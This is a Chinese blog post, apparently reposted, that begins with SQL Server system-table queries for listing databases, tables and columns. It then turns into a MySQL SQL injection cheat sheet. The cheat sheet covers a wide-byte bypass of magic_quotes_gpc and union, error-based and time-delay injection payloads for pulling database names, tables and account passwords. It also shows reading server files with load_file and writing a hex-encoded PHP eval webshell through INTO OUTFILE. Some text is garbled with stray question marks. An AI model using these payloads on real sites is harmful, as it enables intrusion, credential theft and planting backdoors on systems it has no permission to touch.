查询Master下的系统表和系统视图获取数据库的信息和简单的渗透测试
在SQL中可以通過查詢Master下的系統表(sys)和系統視圖(information_schema)獲取數據庫的信息。SQL2000和SQL2005的結構略有不同。
?????系統表結構參考系統表詳細說明。
?????系統信息結構圖參考:http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html
1、2000下操作:
系統表目錄:大部分以dbo.sys為前綴。
系統視圖目錄:有20個常用的視圖,以INFORMATION_SCHEMA為前綴。
在2000中我們可以用這兩種方式的查詢來得到相同的效果。
如:查詢所有數據庫:
select name from master..sysdatabases
select? catalog_name?? from?? INFORMATION_SCHEMA.SCHEMATA
效果一樣。
查詢用戶創建的所有數據庫
select * from master..sysdatabases D?where sid not in(select sid from master..syslogins where name='sa')
或者
?????? select dbid, name AS DB_NAME from master..sysdatabases? where sid <> 0x01
?????? 或者
?????? select name from master..sysdatabases order by name asc
?
?????? 獲取當前數據庫中的所有用戶表:
select Name from sysobjects where xtype='u' and status>=0
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'
獲取某一個表的所有字段
select name from syscolumns where id=object_id('表名')
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '表名'
查看與某一個表相關的視圖、存儲過程、函數
select a.* from sysobjects a, syscomments b?where a.id = b.id and b.text like '%表名%'
查看當前數據庫中所有存儲過程
select name as 存儲過程名稱 from sysobjects where xtype='P'
查詢某一個表的字段和數據類型
select name,xtye from syscolumns where id=object_id('表名')
SELECT COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '表名'
2、2005下操作:
系統表目錄:2000中的系統表,在05中都放在了系統視圖目錄下。
系統視圖目錄:存放了系統表和視圖,增加了許多新的系統表,如支持xml。以sys.為前綴。
?在2005中,系統表仍然屬于Master數據庫下。但是視圖卻被分配到了各個數據庫下。因此:
select name from master..sysdatabases
select? catalog_name?? from?? INFORMATION_SCHEMA.SCHEMATA
上面的兩種查詢就會有不同的結果。
第一個查詢仍然可以返回所有的數據庫列表。
而第二個查詢只返回當前連接的數據庫的信息。
除此之外的其他針對具體數據庫的操作,跟2000一樣。
?????由于結構不同,為了保證統一性,我們在對整個服務器操作時,最好使用系統表。而在對某一個具體的數據庫操作時,則既可以使用系統表也可以使用信息結構圖。
?
以下是簡單的滲透測試
magic_quotes_gpc = On ? ? ? ? ? addslashes()過濾,對 ' " \ null 轉義 ?即在前面加上反斜線?
PS: intval() ? ? ? ? 用于過濾數字類型
register_globals = Off ? ? ? ? ?關閉注冊全局變量
display_errors = Off ? ? ? ? ? ?關閉錯誤提示
?
?
GBK寬字節突破magic_quotes_gpc = On限制 用 % f5' 代替 ' 即 ' 變成 鮘' 而不是 \'
?
?
實踐發現
假設 id 為數字型,如果sql語句為 id='$id' 即使用單引號,那提交?id=1 and 1=1 和?id=1 and 1=2 結果都是?id=1 ,即取空格前面的參數。
此時可使用?id=1' and 1=1# 和?id=1' and 1=2# 來判斷以及構造SQL語句。
?
查看PHP代碼有時若不替換一些字符如<,返回網頁將無法查看代碼。
replace(load_file(HEX),char(60),char(32))
union select 1,replace(load_file(HEX),char(60),char(32)),3
char(60)表示 <?????????
char(32)表示 空格
?
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
表示前后編碼不一致
unhex(hex(參數))
union select 1,unhex(hex(load_file(HEX))),3
?
@@hostname ????????????????????????????? DATA服務器名
@@version_compile_os???????????????????? 判斷系統類型
@@basedir ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?數據庫安裝目錄 ?
@@datadir ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?數據庫存儲目錄 ?
@@plugin_dir ? ? ? ? ? ? ? ? ? ? ? ? ? ? 插件目錄路徑
@@group_concat_max_len ? ? ? ? ? ? ? ? ? group_concat()最大長度
user() ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 當前用戶
database() ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 當前數據庫
version() ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?mysql版本
concat(字段1,0x7C,字段2,0x7C,字段N) ? ? ?連接多個參數
group_concat(字段) ? ? ? ? ? ? ? ? ? ? ? 列出所有行
?
?
load_file(16進制文件物理地址) ? ? ? ? ? ?讀取文件
寫webshell <?php @eval_r($_POST['c']);?> ? ? ? PS:windows地址用 / 或者 \\ ,單獨 \ 不行。
?and 1=2 union select 1,0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E,3,..n into outfile '文件物理地址'
?
?
?
select user,password,update_priv,file_priv from mysql.user ? ? ? ? ?mysql.user為用戶全局權限
select * from mysql.db ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?mysql.db為用戶數據庫操作權限
?
?
?and (select count(*) from 表段)>0
?and (select count(字段) from 表段)>0
?and (select length(字段) from 表段 limit N,1)>5
?and (select ascii(mid(字段,N,1)) from 表段 limit N,1)>96
?
?
?
?and substring(@@version,1,1)=5
???
?order by n
?
?and 1=2 union select 1,2,3,4,5,6,7,8,9,n#
?
?and 1=2 union select 1,2,TABLE_SCHEMA,4,5,6,7,8,9,n from information_schema.COLUMNS group by TABLE_SCHEMA limit N,1 ? ? ? ? ? ? ? ? ? ? ? ? 查詢第N個數據庫名
?
?and 1=2 union select 1,2,TABLE_NAME,4,5,6,7,8,9,n from information_schema.COLUMNS where TABLE_SCHEMA=16進制數據庫名 limit N,1 ? ? ? ? ?查表段名
?
?and 1=2 union select 1,2,COLUMN_NAME,4,5,6,7,8,9,n from information_schema.COLUMNS where TABLE_SCHEMA=16進制數據庫名 and TABLE_NAME=16進制表段名 limit N,1 ? ? ? ? ? ? 查字段名
?
?and 1=2 union select 1,2,字段,4,5,字段,7,8,9,n from 數據庫名.表段名 limit N,1 ? ? ? ? 查帳號密碼
?
?
?
偏移注射
?
?order by 10 ? ? ? ? ? ? ? ? ? ? ?正在查詢的字段有10個
?
?and 1=2 union select *,1,2,3,4,5,6,7 from admin ? ? ? ? ? ? ?表段admin有3個字段
?
?and 1=2 union select 1,2,3,4,5,6,7,8,9,id from admin ? ? ? ? 表段admin存在字段id
?
?and 1=2 union select *,1,2,3,4 from (admin as a inner join admin as b on a.id=b.id) ? ? ? ? ?在5-10位置顯示數據
?
?and 1=2 union select *,1 from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) ? ? ? ? ? ? ? 在2-10位置顯示數據
?
?
?
?
?
?
MySQL錯誤回顯套公式法注入
?
+and+1=2+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(注入爆數據語句))a+from+information_schema.tables+group+by+a)b#
?
+or+1=(select+1+from+(select+count(*),concat(floor(rand(0)*2),(注入爆數據語句))a+from+information_schema.tables+group+by+a)b)#
?
注入爆數據語句
select+concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)
select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1
?
?
?
?
延時注入
select benchmark(5000000, md5('test')) from user where id=1 and 1=1
?
select * from user where id=1 or 1=(select benchmark(5000000, md5('test')))
?
select if(ascii(substring((version()),1,1))<54,benchmark(5000000, md5('test')),0) from user where id=1 and 1=1
?
select * from user where id=1 or if(ascii(substring((version()),1,1))<54,benchmark(5000000, md5('test')),0)
轉載于:https://www.cnblogs.com/xuezhaojing/p/3951007.html
總結
以上是生活随笔為你收集整理的查询Master下的系统表和系统视图获取数据库的信息和简单的渗透测试的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: C1增驾B2费用多少。
- 下一篇: pyQt 每日一练习 -- 登录框